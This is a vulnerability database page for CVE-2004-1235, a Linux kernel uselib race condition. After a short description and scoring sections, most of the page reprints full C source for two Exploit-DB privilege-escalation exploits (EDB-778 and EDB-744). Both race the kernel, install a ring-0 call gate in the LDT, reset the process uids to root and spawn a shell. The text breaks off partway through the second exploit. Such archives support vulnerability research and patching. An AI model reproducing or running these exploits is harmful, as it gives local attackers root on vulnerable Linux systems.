CVE-2004-1235 : Detail

CVE-2004-1235

0.05%V3
Local
2005-01-20
04h00 +00:00
2017-10-09
22h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Race condition in the (1) load_elf_library and (2) binfmt_aout function calls for uselib in Linux kernel 2.4 through 2.429-rc2 and 2.6 through 2.6.10 allows local users to execute arbitrary code by manipulating the VMA descriptor.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.2 AV:L/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 778

Publication date : 2005-01-26 23h00 +00:00
Author : Tim Hsu
EDB Verified : Yes

/* * EDB Note: There's is an updated version ~ https://www.exploit-db.com/exploits/895/ */ /* * Linux kernel 2.4 uselib() privilege elevation exploit. * * original exploit source from http://isec.pl * reference: http://isec.pl/vulnerabilities/isec-0021-uselib.txt * * I modified the Paul Starzetz's exploit, made it more possible * to race successfully. The exploit still works only on 2.4 series. * It should be also works on 2.4 SMP, but not easy. * * thx newbug. * * Tim Hsu <timhsu at chroot.org> Jan 2005. * */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sched.h> #include <syscall.h> #include <limits.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/time.h> #include <sys/mman.h> #include <sys/sysinfo.h> #include <linux/elf.h> #include <linux/linkage.h> #include <asm/page.h> #include <asm/ldt.h> #include <asm/segment.h> #define str(s) #s #define xstr(s) str(s) #define MREMAP_MAYMOVE 1 // temp lib location #define LIBNAME "/tmp/_elf_lib" // shell name #define SHELL "/bin/bash" // time delta to detect race #define RACEDELTA 5000 // if you have more deadbabes in memory, change this #define MAGIC 0xdeadbabe // do not touch #define SLAB_THRSH 128 #define SLAB_PER_CHLD (INT_MAX - 1) #define LIB_SIZE ( PAGE_SIZE * 4 ) #define STACK_SIZE ( PAGE_SIZE * 4 ) #define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE ) #define ENTRY_GATE ( LDT_ENTRIES-1 ) #define SEL_GATE ( (ENTRY_GATE<<3)|0x07 ) #define ENTRY_LCS ( ENTRY_GATE-2 ) #define SEL_LCS ( (ENTRY_LCS<<3)|0x04 ) #define ENTRY_LDS ( ENTRY_GATE-1 ) #define SEL_LDS ( (ENTRY_LDS<<3)|0x04 ) #define kB * 1024 #define MB * 1024 kB #define GB * 1024 MB #define TMPLEN 256 #define PGD_SIZE ( PAGE_SIZE*1024 ) extern char **environ; static char cstack[STACK_SIZE]; static char name[TMPLEN]; static char line[TMPLEN]; static pid_t consume_pid; static volatile int val = 0, go = 0, finish = 0, scnt = 0, ccnt=0, delta = 0, delta_max = RACEDELTA, map_flags = PROT_WRITE|PROT_READ; static int fstop=0, silent=0, pidx, pnum=0, smp_max=0, smp, wtime=2, cpid, uid, task_size, old_esp, lib_addr, map_count=0, map_base=0, map_addr, addr_min, addr_max, vma_start, vma_end, max_page; static struct timeval tm1, tm2; static char *myenv[] = {"TERM=vt100", "HISTFILE=/dev/null", NULL}; static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70" "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00"; static char *pagemap, *libname=LIBNAME, *shellname=SHELL; #define __NR_sys_gettimeofday __NR_gettimeofday #define __NR_sys_sched_yield __NR_sched_yield #define __NR_sys_madvise __NR_madvise #define __NR_sys_uselib __NR_uselib #define __NR_sys_mmap2 __NR_mmap2 #define __NR_sys_munmap __NR_munmap #define __NR_sys_mprotect __NR_mprotect #define __NR_sys_mremap __NR_mremap inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f); inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e); inline _syscall3(int, sys_madvise, void*, a, int, b, int, c); inline _syscall3(int, sys_mprotect, int, a, int, b, int, c); inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount ); inline _syscall2(int, sys_gettimeofday, void*, a, void*, b); inline _syscall2(int, sys_munmap, int, a, int, b); inline _syscall1(int, sys_uselib, char*, l); inline _syscall0(void, sys_sched_yield); int consume_memory() { struct sysinfo info; char *vmem; sysinfo(&info); vmem = malloc(info.freeram); if (vmem == NULL) { perror("malloc"); return -1; } memset(vmem, 0x90, info.freeram); } inline int tmdiff(struct timeval *t1, struct timeval *t2) { int r; r=t2->tv_sec - t1->tv_sec; r*=1000000; r+=t2->tv_usec - t1->tv_usec; return r; } void fatal(const char *message, int critical) { int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL); if(!errno) { fprintf(stdout, "\n[-] FAILED: %s ", message); } else { fprintf(stdout, "\n[-] FAILED: %s (%s) ", message, (char*) (strerror(errno)) ); } if(critical) printf("\nCRITICAL, entering endless loop"); printf("\n"); fflush(stdout); unlink(libname); kill(cpid, SIGKILL); for(;;) kill(0, sig); } // try to race do_brk sleeping on kmalloc, may need modification for SMP int raceme(void* v) { finish=1; for(;;) { errno = 0; // check if raced: recheck: if(!go) sys_sched_yield(); sys_gettimeofday(&tm2, NULL); delta = tmdiff(&tm1, &tm2); if(!smp_max && delta < (unsigned)delta_max) goto recheck; smp = smp_max; // check if lib VMAs exist as expected under race condition recheck2: val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL); if(val) continue; errno = 0; val = sys_madvise((void*) (lib_addr+PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if( !val || (val<0 && errno!=ENOMEM) ) continue; // SMP? smp--; if(smp>=0) goto recheck2; // recheck race if(!go) continue; finish++; // we need to free one vm_area_struct for mmap to work val = sys_mprotect(map_addr, PAGE_SIZE, map_flags); if(val) fatal("mprotect", 0); val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(-1==val) fatal("mmap2 race", 0); printf("\n[+] race won maps=%d", map_count); fflush(stdout); kill(consume_pid, SIGKILL); _exit(0); } return 0; } int callme_1() { return val++; } inline int valid_ptr(unsigned ptr) { return ptr>=task_size && ptr<addr_min-16; } inline int validate_vma(unsigned *p, unsigned s, unsigned e) { unsigned *t; if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) { t=(unsigned*)p[3]; if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size ) return 1; } return 0; } asmlinkage void kernel_code(unsigned *task) { unsigned *addr = task; // find & reset uids while(addr[0] != uid || addr[1] != uid || addr[2] != uid || addr[3] != uid) addr++; addr[0] = addr[1] = addr[2] = addr[3] = 0; addr[4] = addr[5] = addr[6] = addr[7] = 0; // find & correct VMA for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) { if( validate_vma(addr, vma_start, vma_end) ) { addr[1] = task_size - PAGE_SIZE; addr[2] = task_size; break; } } } void kcode(void); // CPL0 code mostly stolen from cliph void __kcode(void) { asm( "kcode: \n" " pusha \n" " pushl %es \n" " pushl %ds \n" " movl $(" xstr(SEL_LDS) ") ,%edx \n" " movl %edx,%es \n" " movl %edx,%ds \n" " movl $0xffffe000,%eax \n" " andl %esp,%eax \n" " pushl %eax \n" " call kernel_code \n" " addl $4, %esp \n" " popl %ds \n" " popl %es \n" " popa \n" " lret \n" ); } int callme_2() { return val + task_size + addr_min; } void sigfailed(int v) { ccnt++; fatal("lcall", 1); } // modify LDT & exec void try_to_exploit(unsigned addr) { volatile int r, *v; printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout); unlink(libname); r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags); if(r) fatal("mprotect 1", 1); // check if really LDT v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) ); signal(SIGSEGV, sigfailed); r = *v; if(r != MAGIC) { printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout); fatal("find LDT", 1); } // yeah, setup CPL0 gate v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU); v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U; printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout); // setup CPL0 segment descriptors (we need the 'accessed' versions ;-) v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) ); v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */ v[1] = 0x00cf9b00; v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) ); v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */ v[1] = 0x00cf9300; // reprotect to get only one big VMA r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags); if(r) fatal("mprotect 2", 1); // CPL0 transition sys_sched_yield(); val = callme_1() + callme_2(); asm("lcall $" xstr(SEL_GATE) ",$0x0"); //if( getuid()==0 || (val==31337 && strlen(hellc0de)==31337) ) { if (getuid()==0) { printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout); } else { printf("\n[-] uid change failed" ); fflush(stdout); sigfailed(0); } signal(SIGTERM, SIG_IGN); kill(0, SIGTERM); setresuid(0, 0, 0); execl(shellname, "sh", NULL); fatal("execl", 0); } void scan_mm_finish(); void scan_mm_start(); // kernel page table scan code void scan_mm() { map_addr -= PAGE_SIZE; if(map_addr <= (unsigned)addr_min) scan_mm_start(); scnt=0; val = *(int*)map_addr; scan_mm_finish(); } void scan_mm_finish() { retry: __asm__("movl %0, %%esp" : :"m"(old_esp) ); if(scnt) { pagemap[pidx] ^= 1; } else { sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED); } pidx--; scan_mm(); goto retry; } // make kernel page maps before and after allocating LDT void scan_mm_start() { static int npg=0; static struct modify_ldt_ldt_s l; //static struct user_desc l; pnum++; if(pnum==1) { pidx = max_page-1; } else if(pnum==2) { memset(&l, 0, sizeof(l)); l.entry_number = LDT_ENTRIES-1; l.seg_32bit = 1; l.base_addr = MAGIC >> 16; l.limit = MAGIC & 0xffff; l.limit_in_pages = 1; if( modify_ldt(1, &l, sizeof(l)) != 0 ) fatal("modify_ldt", 1); pidx = max_page-1; } else if(pnum==3) { npg=0; for(pidx=0; pidx<=max_page-1; pidx++) { if(pagemap[pidx]) { npg++; } else if(npg == LDT_PAGES) { npg=0; try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE); } else { npg=0; } } fatal("find LDT", 1); } // save context & scan page table __asm__("movl %%esp, %0" : :"m"(old_esp) ); map_addr = addr_max; scan_mm(); } // return number of available SLAB objects in cache int get_slab_objs(const char *sn) { static int c, d, u = 0, a = 0; FILE *fp=NULL; char x1[20]; fp = fopen("/proc/slabinfo", "r"); if(!fp) fatal("get_slab_objs: fopen", 0); fgets(name, sizeof(name) - 1, fp); do { c = u = a = -1; if (!fgets(line, sizeof(line) - 1, fp)) break; c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d); } while (strcmp(name, sn)); close(fileno(fp)); fclose(fp); return c == 7 ? a - u : -1; } long memmaped_size = 0; // leave one object in the SLAB inline void prepare_slab() { int *r; map_addr -= PAGE_SIZE; map_count++; map_flags ^= PROT_READ; r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(MAP_FAILED == r) { printf("--> prepare_slab(), %dMb\n", memmaped_size/1024/1024); fatal("try again", 0); } memmaped_size += PAGE_SIZE; *r = map_addr; } // sig handlers void segvcnt(int v) { scnt++; scan_mm_finish(); } // child reap void reaper(int v) { ccnt++; waitpid(0, &v, WNOHANG|WUNTRACED); } // sometimes I get the VMAs in reversed order... // so just use anyone of the two but take care about the flags void check_vma_flags(); void vreversed(int v) { map_flags = 0; check_vma_flags(); } void check_vma_flags() { if(map_flags) { __asm__("movl %%esp, %0" : :"m"(old_esp) ); } else { __asm__("movl %0, %%esp" : :"m"(old_esp) ); goto out; } signal(SIGSEGV, vreversed); val = * (unsigned*)(lib_addr + PAGE_SIZE); out: } // use elf library and try to sleep on kmalloc void exploitme() { int r, sz, pcnt=0; static char smiley[]="-\\|/-\\|/"; // printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout); // helper clone finish=0; ccnt=0; sz = sizeof(cstack) / sizeof(cstack[0]); cpid = clone(&raceme, (void*) &cstack[sz-16], CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL ); if(-1==cpid) fatal("clone", 0); // synchronize threads while(!finish) sys_sched_yield(); finish=0; if(!silent) { printf("\n"); fflush(stdout); } // try to hit the kmalloc race for(;;) { r = get_slab_objs("vm_area_struct"); //printf("\nfree slab = %d\n",r); while(r != 1 && r > 0) { prepare_slab(); r--; } sys_gettimeofday(&tm1, NULL); go = 1; r=sys_uselib(libname); go = 0; if(r) fatal("uselib", 0); if(finish) break; // wipe lib VMAs and try again r = sys_munmap(lib_addr, LIB_SIZE); if(r) fatal("munmap lib", 0); if(ccnt) goto failed; if( !silent && !(pcnt%64) ) { printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]); fflush(stdout); } pcnt++; } // seems we raced, free mem r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE); if(r) fatal("munmap 1", 0); r = sys_munmap(lib_addr, PAGE_SIZE); if(r) fatal("munmap 2", 0); // relax kswapd sys_gettimeofday(&tm1, NULL); for(;;) { sys_sched_yield(); sys_gettimeofday(&tm2, NULL); delta = tmdiff(&tm1, &tm2); if( wtime*1000000U <= (unsigned)delta ) break; } // we need to check the PROT_EXEC flag map_flags = PROT_EXEC; check_vma_flags(); if(!map_flags) { printf("\n VMAs reversed"); fflush(stdout); } // write protect brk's VMA to fool vm_enough_memory() r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, PROT_READ|map_flags); if(-1==r) { fatal("mprotect brk", 0); } // this will finally make the big VMA... sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE; expand: r = sys_madvise((void*)(lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if(r) fatal("madvise", 0); r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE, PAGE_SIZE, sz, MREMAP_MAYMOVE, 0); if(-1==r) { if(0==sz) { fatal("mremap: expand VMA", 0); } else { sz -= PAGE_SIZE; goto expand; } } vma_start = lib_addr + PAGE_SIZE; vma_end = vma_start + sz + 2*PAGE_SIZE; printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end); fflush(stdout); // try to figure kernel layout signal(SIGCHLD, reaper); signal(SIGSEGV, segvcnt); signal(SIGBUS, segvcnt); scan_mm_start(); failed: printf("failed:\n"); fatal("try again", 0); } // make fake ELF library void make_lib() { struct elfhdr eh; struct elf_phdr eph; static char tmpbuf[PAGE_SIZE]; int fd; // make our elf library umask(022); unlink(libname); fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755); if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0); memset(&eh, 0, sizeof(eh) ); // elf exec header memcpy(eh.e_ident, ELFMAG, SELFMAG); eh.e_type = ET_EXEC; eh.e_machine = EM_386; eh.e_phentsize = sizeof(struct elf_phdr); eh.e_phnum = 1; eh.e_phoff = sizeof(eh); write(fd, &eh, sizeof(eh) ); // section header: memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_LOAD; eph.p_offset = 4096; eph.p_filesz = 4096; eph.p_vaddr = lib_addr; eph.p_memsz = LIB_SIZE; eph.p_flags = PF_W|PF_R|PF_X; write(fd, &eph, sizeof(eph) ); // execable code lseek(fd, 4096, SEEK_SET); memset(tmpbuf, 0x90, sizeof(tmpbuf) ); write(fd, &tmpbuf, sizeof(tmpbuf) ); close(fd); } // move stack down #2 void prepare_finish() { int r; static struct sysinfo si; old_esp &= ~(PAGE_SIZE-1); old_esp -= PAGE_SIZE; task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB; r = sys_munmap(old_esp, task_size-old_esp); if(r) fatal("unmap stack", 0); // setup rt env uid = getuid(); lib_addr = task_size - LIB_SIZE - PAGE_SIZE; if(map_base) map_addr = map_base; else map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1); printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x", old_esp, task_size, map_base); fflush(stdout); // check physical mem & prepare sysinfo(&si); addr_min = task_size + si.totalram; addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1); addr_max = addr_min + si.totalram; if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min) addr_max = 0xffffd000; printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max); max_page = (addr_max - addr_min) / PAGE_SIZE; pagemap = malloc( max_page + 32 ); if(!pagemap) fatal("malloc pagemap", 1); memset(pagemap, 0, max_page + 32); // go go make_lib(); exploitme(); } // move stack down #1 void prepare() { unsigned p=0; environ = myenv; p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 ); if(-1==p) fatal("mmap2 stack", 0); p += STACK_SIZE - 64; __asm__("movl %%esp, %0 \n" "movl %1, %%esp \n" : : "m"(old_esp), "m"(p) ); prepare_finish(); } void chldcnt(int v) { ccnt++; } // alloc slab objects... inline void do_wipe() { int *r, c=0, left=0; __asm__("movl %%esp, %0" : : "m"(old_esp) ); old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1); old_esp = map_base? map_base : old_esp; for(;;) { if(left<=0) left = get_slab_objs("vm_area_struct"); if(left <= SLAB_THRSH) break; left--; map_flags ^= PROT_READ; old_esp -= PAGE_SIZE; r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 ); if(MAP_FAILED == r) break; if(c>SLAB_PER_CHLD) break; if( (c%1024)==0 ) { if(!c) printf("\n"); printf("\r child %d VMAs %d", val, c); fflush(stdout); } c++; } printf("\r child %d VMAs %d", val, c); fflush(stdout); kill(getppid(), SIGUSR1); for(;;) pause(); } // empty SLAB caches void wipe_slab() { signal(SIGUSR1, chldcnt); printf("\n[+] SLAB cleanup"); fflush(stdout); for(;;) { ccnt=0; val++; cpid = fork(); if(!cpid) do_wipe(); while(!ccnt) sys_sched_yield(); if( get_slab_objs("vm_area_struct") <= SLAB_THRSH ) break; } signal(SIGUSR1, SIG_DFL); } void usage(char *n) { printf("\nUsage: %s\t-f forced stop\n", n); printf("\t\t-s silent mode\n"); printf("\t\t-c command to run\n"); printf("\t\t-n SMP iterations\n"); printf("\t\t-d race delta us\n"); printf("\t\t-w wait time seconds\n"); printf("\t\t-l alternate lib name\n"); printf("\t\t-a alternate addr hex\n"); printf("\n"); _exit(1); } // give -s for forced stop, -b to clean SLAB int main(int ac, char **av) { int r; while(ac) { r = getopt(ac, av, "n:l:a:w:c:d:fsh"); if(r<0) break; switch(r) { case 'f' : fstop = 1; break; case 's' : silent = 1; break; case 'n' : smp_max = atoi(optarg); break; case 'd': if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u ) fatal("bad delta value", 0); break; case 'w' : wtime = atoi(optarg); if(wtime<0) fatal("bad wait value", 0); break; case 'l' : libname = strdup(optarg); break; case 'c' : shellname = strdup(optarg); break; case 'a' : if(1!=sscanf(optarg, "%x", &map_base)) fatal("bad addr value", 0); map_base &= ~(PGD_SIZE-1); break; case 'h' : default: usage(av[0]); break; } } consume_pid = fork(); if (consume_pid == 0) { consume_memory(); pause(); return 0; } // basic setup uid = getuid(); setpgrp(); wipe_slab(); prepare(); return 0; } // milw0rm.com [2005-01-27]
Exploit Database EDB-ID : 744

Publication date : 2005-01-06 23h00 +00:00
Author : Paul Starzetz
EDB Verified : Yes

/* * EDB Note: There's is an updated version ~ https://www.exploit-db.com/exploits/895/ */ /* * binfmt_elf uselib VMA insert race vulnerability * v1.08 * * gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sched.h> #include <syscall.h> #include <limits.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/time.h> #include <sys/mman.h> #include <sys/sysinfo.h> #include <linux/elf.h> #include <linux/linkage.h> #include <asm/page.h> #include <asm/ldt.h> #include <asm/segment.h> #define str(s) #s #define xstr(s) str(s) #define MREMAP_MAYMOVE 1 // temp lib location #define LIBNAME "/dev/shm/_elf_lib" // shell name #define SHELL "/bin/bash" // time delta to detect race #define RACEDELTA 5000 // if you have more deadbabes in memory, change this #define MAGIC 0xdeadbabe // do not touch #define SLAB_THRSH 128 #define SLAB_PER_CHLD (INT_MAX - 1) #define LIB_SIZE ( PAGE_SIZE * 4 ) #define STACK_SIZE ( PAGE_SIZE * 4 ) #define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE ) #define ENTRY_GATE ( LDT_ENTRIES-1 ) #define SEL_GATE ( (ENTRY_GATE<<3)|0x07 ) #define ENTRY_LCS ( ENTRY_GATE-2 ) #define SEL_LCS ( (ENTRY_LCS<<3)|0x04 ) #define ENTRY_LDS ( ENTRY_GATE-1 ) #define SEL_LDS ( (ENTRY_LDS<<3)|0x04 ) #define kB * 1024 #define MB * 1024 kB #define GB * 1024 MB #define TMPLEN 256 #define PGD_SIZE ( PAGE_SIZE*1024 ) extern char **environ; static char cstack[STACK_SIZE]; static char name[TMPLEN]; static char line[TMPLEN]; static volatile int val = 0, go = 0, finish = 0, scnt = 0, ccnt=0, delta = 0, delta_max = RACEDELTA, map_flags = PROT_WRITE|PROT_READ; static int fstop=0, silent=0, pidx, pnum=0, smp_max=0, smp, wtime=2, cpid, uid, task_size, old_esp, lib_addr, map_count=0, map_base=0, map_addr, addr_min, addr_max, vma_start, vma_end, max_page; static struct timeval tm1, tm2; static char *myenv[] = {"TERM=vt100", "HISTFILE=/dev/null", NULL}; static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70" "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00"; static char *pagemap, *libname=LIBNAME, *shellname=SHELL; #define __NR_sys_gettimeofday __NR_gettimeofday #define __NR_sys_sched_yield __NR_sched_yield #define __NR_sys_madvise __NR_madvise #define __NR_sys_uselib __NR_uselib #define __NR_sys_mmap2 __NR_mmap2 #define __NR_sys_munmap __NR_munmap #define __NR_sys_mprotect __NR_mprotect #define __NR_sys_mremap __NR_mremap inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f); inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e); inline _syscall3(int, sys_madvise, void*, a, int, b, int, c); inline _syscall3(int, sys_mprotect, int, a, int, b, int, c); inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount ); inline _syscall2(int, sys_gettimeofday, void*, a, void*, b); inline _syscall2(int, sys_munmap, int, a, int, b); inline _syscall1(int, sys_uselib, char*, l); inline _syscall0(void, sys_sched_yield); inline int tmdiff(struct timeval *t1, struct timeval *t2) { int r; r=t2->tv_sec - t1->tv_sec; r*=1000000; r+=t2->tv_usec - t1->tv_usec; return r; } void fatal(const char *message, int critical) { int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL); if(!errno) { fprintf(stdout, "\n[-] FAILED: %s ", message); } else { fprintf(stdout, "\n[-] FAILED: %s (%s) ", message, (char*) (strerror(errno)) ); } if(critical) printf("\nCRITICAL, entering endless loop"); printf("\n"); fflush(stdout); unlink(libname); kill(cpid, SIGKILL); for(;;) kill(0, sig); } // try to race do_brk sleeping on kmalloc, may need modification for SMP int raceme(void* v) { finish=1; for(;;) { errno = 0; // check if raced: recheck: if(!go) sys_sched_yield(); sys_gettimeofday(&tm2, NULL); delta = tmdiff(&tm1, &tm2); if(!smp_max && delta < (unsigned)delta_max) goto recheck; smp = smp_max; // check if lib VMAs exist as expected under race condition recheck2: val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL); if(val) continue; errno = 0; val = sys_madvise((void*) (lib_addr+PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if( !val || (val<0 && errno!=ENOMEM) ) continue; // SMP? smp--; if(smp>=0) goto recheck2; // recheck race if(!go) continue; finish++; // we need to free one vm_area_struct for mmap to work val = sys_mprotect(map_addr, PAGE_SIZE, map_flags); if(val) fatal("mprotect", 0); val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(-1==val) fatal("mmap2 race", 0); printf("\n[+] race won maps=%d", map_count); fflush(stdout); _exit(0); } return 0; } int callme_1() { return val++; } inline int valid_ptr(unsigned ptr) { return ptr>=task_size && ptr<addr_min-16; } inline int validate_vma(unsigned *p, unsigned s, unsigned e) { unsigned *t; if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) { t=(unsigned*)p[3]; if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size ) return 1; } return 0; } asmlinkage void kernel_code(unsigned *task) { unsigned *addr = task; // find & reset uids while(addr[0] != uid || addr[1] != uid || addr[2] != uid || addr[3] != uid) addr++; addr[0] = addr[0] = addr[2] = addr[3] = 0; addr[4] = addr[5] = addr[6] = addr[7] = 0; // find & correct VMA for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) { if( validate_vma(addr, vma_start, vma_end) ) { addr[1] = task_size - PAGE_SIZE; addr[2] = task_size; break; } } } void kcode(void); void __kcode(void) { asm( "kcode: \n" " pusha \n" " pushl %es \n" " pushl %ds \n" " movl $(" xstr(SEL_LDS) ") ,%edx \n" " movl %edx,%es \n" " movl %edx,%ds \n" " movl $0xffffe000,%eax \n" " andl %esp,%eax \n" " pushl %eax \n" " call kernel_code \n" " addl $4, %esp \n" " popl %ds \n" " popl %es \n" " popa \n" " lret \n" ); } int callme_2() { return val + task_size + addr_min; } void sigfailed(int v) { ccnt++; fatal("lcall", 1); } // modify LDT & exec void try_to_exploit(unsigned addr) { volatile int r, *v; printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout); unlink(libname); r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags); if(r) fatal("mprotect 1", 1); // check if really LDT v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) ); signal(SIGSEGV, sigfailed); r = *v; if(r != MAGIC) { printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout); fatal("find LDT", 1); } // yeah, setup CPL0 gate v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU); v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U; printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout); // setup CPL0 segment descriptors (we need the 'accessed' versions ;-) v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) ); v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */ v[1] = 0x00cf9b00; v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) ); v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */ v[1] = 0x00cf9300; // reprotect to get only one big VMA r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags); if(r) fatal("mprotect 2", 1); // CPL0 transition sys_sched_yield(); val = callme_1() + callme_2(); asm("lcall $" xstr(SEL_GATE) ",$0x0"); if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) { printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout); } else { printf("\n[-] uid change failed" ); fflush(stdout); sigfailed(0); } signal(SIGTERM, SIG_IGN); kill(0, SIGTERM); execl(shellname, "sh", NULL); fatal("execl", 0); } void scan_mm_finish(); void scan_mm_start(); // kernel page table scan code void scan_mm() { map_addr -= PAGE_SIZE; if(map_addr <= (unsigned)addr_min) scan_mm_start(); scnt=0; val = *(int*)map_addr; scan_mm_finish(); } void scan_mm_finish() { retry: __asm__("movl %0, %%esp" : :"m"(old_esp) ); if(scnt) { pagemap[pidx] ^= 1; } else { sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED); } pidx--; scan_mm(); goto retry; } // make kernel page maps before and after allocating LDT void scan_mm_start() { static int npg=0; static struct modify_ldt_ldt_s l; pnum++; if(pnum==1) { pidx = max_page-1; } else if(pnum==2) { memset(&l, 0, 